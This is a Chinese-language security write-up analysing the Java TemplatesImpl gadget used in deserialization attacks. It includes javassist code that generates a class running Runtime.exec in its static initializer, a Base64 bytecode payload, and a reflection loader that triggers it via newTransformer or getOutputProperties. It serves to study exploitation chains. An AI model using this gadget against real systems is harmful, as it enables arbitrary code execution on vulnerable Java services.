TemplatesImpl利用分析 0x01 恶意字节码的生成 Java中的ClassLoader类中defineClass方法可以加载字节码,可是ClassLoader是一个抽象类,需要有子类来继承
如果Java有自带的类是该类的子类,那么就可以在反序列化的时候用该类来加载字节码来达到任意代码执行
这样灵活性比直接执行命令更大
TemplatesImpl类中的内部类TransletClassLoader就继承了ClassLoader,实现了defineClass方法
下面来看看是怎么使用的
因为是加载字节码,所以现根据上一篇文章javassist来写一个可以利用的字节码文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import javassist.*;import java.util.Base64;public class evilJavassist { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("evil" ); ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); ctClass.makeClassInitializer().setBody("{Runtime runtime = Runtime.getRuntime();\n" + "runtime.exec(\"calc\");}" ); CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); ctConstructor.setBody("{}" ); ctClass.addConstructor(ctConstructor); CtMethod ctMethod1 = new CtMethod(CtClass.voidType, "transform" , new CtClass[]{pool.get("com.sun.org.apache.xalan.internal.xsltc.DOM" ), pool.get("com.sun.org.apache.xml.internal.dtm.DTMAxisIterator" ), pool.get("com.sun.org.apache.xml.internal.serializer.SerializationHandler" )},ctClass); ctMethod1.setBody("{}" ); ctClass.addMethod(ctMethod1); byte [] byteClass = ctClass.toBytecode(); String payload = Base64.getEncoder().encodeToString(byteClass); System.out.println(payload); ctClass.writeFile(); } }
上面的代码生成的字节码内容是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet { static { Runtime var0 = Runtime.getRuntime(); var0.exec("calc" ); } public evil () { } public void transform (DOM var1, DTMAxisIterator var2, SerializationHandler var3) { } }
0x02 利用TemplatesImpl执行字节码 下面来看下TemplatesImpl是怎么加载字节码的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;public class test { public static void main (String[] args) throws Exception { String src = "yv66vgAAADEAHAEABGV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAKAAsKAAkADAEABGNhbGMIAA4BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAQABEKAAkAEgEABjxpbml0PgcAAwwAFAAGCgAVABYBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACWV2aWwuamF2YQAhAAIABAAAAAAAAwAIAAUABgABAAcAAAAYAAIAAQAAAAy4AA1LKhIPtgATV7EAAAAAAAEAFAAGAAEABwAAABEAAQABAAAABSq3ABexAAAAAAABABgAGQABAAcAAAANAAAABAAAAAGxAAAAAAABABoAAAACABs=" ; byte [] code = Base64.getDecoder().decode(src); TemplatesImpl obj = new TemplatesImpl(); Field field_bytecodes = obj.getClass().getDeclaredField("_bytecodes" ); field_bytecodes.setAccessible(true ); field_bytecodes.set(obj, new byte [][]{code}); Field field_name = obj.getClass().getDeclaredField("_name" ); field_name.setAccessible(true ); field_name.set(obj, "aaa" ); Field field_tfactory = obj.getClass().getDeclaredField("_tfactory" ); field_tfactory.setAccessible(true ); field_tfactory.set(obj, new TransformerFactoryImpl()); obj.newTransformer(); } }
运行弹出计算器说明字节码没有问题,下面来分析一下TemplatesImpl怎么加载字节码的
首先将字节码解码
然后实例化TemplatesImpl类
使用反射修改三个属性
最后调用了类中的newTransformer方法执行了字节码弹出计算器
直接看第二行调用了getTransletInstance()方法
getTransletInstance
首先判断_name属性是否为null,如果为null直接返回
这是使用反射修改_name的原因
接下来检查_class是否为null如果为null则调用defineTransletClasses()方法
下面来看defineTransletClasses()方法
defineTransletClasses 因为该方法是利用的主要方法,所以不截图直接复制代码下来分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run () { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
第一个参数ObjectFactory.findClassLoader(),该方法里面的代码不是关键,简单的说就是找到了ObjectFactory的加载器
ObjectFactory是个普通的类,所以肯定是AppClassLoader加载的,这里涉及到一些ClassLoader的知识,相关知识点也放到末尾的文章里
所以第一个参数就是AppClassLoader对象
第二个参数_tfactory.getExternalExtensionsMap()
_tfactory也是通过反射修改的属性,很显然这里调用了一个方法,如果这个方法不执行成功程序到这步就会终止了,看一下_tfactory定义的类型是TransformerFactoryImpl,getExternalExtensionsMap也是该类的方法,所以反射将_tfactory内容改为TransformerFactoryImpl对象
参数看好了来看TransletClassLoader类的构造方法
1 2 3 4 TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super (parent); _loadedExternalExtensionFunctions = mapEF; }
没什么特别的super调用父类构造方法可能是用来检查是否重复加载了相同的类
再回到上面的代码调用完之后返回了变量名为loader的TransletClassLoader对象
继续看下面的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1 ) { _auxClasses = new HashMap<>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
该方法执行后返回getTransletInstance方法
1 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里_class为Class数组里面存放着恶意字节码的Class对象,_transletIndex为I也就是0
相当于把_class的的0元素也就是恶意类取出然后实例化后强制转换为AbstractTranslet类存入translet,有了前面的判断,在_class[_transletIndex]里面的Class类必然是AbstractTranslet的子类
最后调用newInstance实例化,触发静态代码块方法实现任意代码执行
整理一下方法的调用过程是这样的
1 2 3 4 TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()
当然再找到一个调用了上面前2种方法的方法就可以找到一种新的加载字节码的方法
因为最后需要在getTransletInstance方法实例化
getOutputProperties 这些都是大佬们整理好的
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
可以看到该方法调用了newTransformer方法,然后再调用getOutputProperties方法
这方法作用是什么不重要,因为调用了newTransformer所以也能加载字节码
流程是完全一样的所以就不重复分析了
调用过程如下
1 2 3 4 5 TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()
0x03 参考 https://zhuanlan.zhihu.com/p/72066969
https://www.cnblogs.com/sunpengblog/p/10474739.html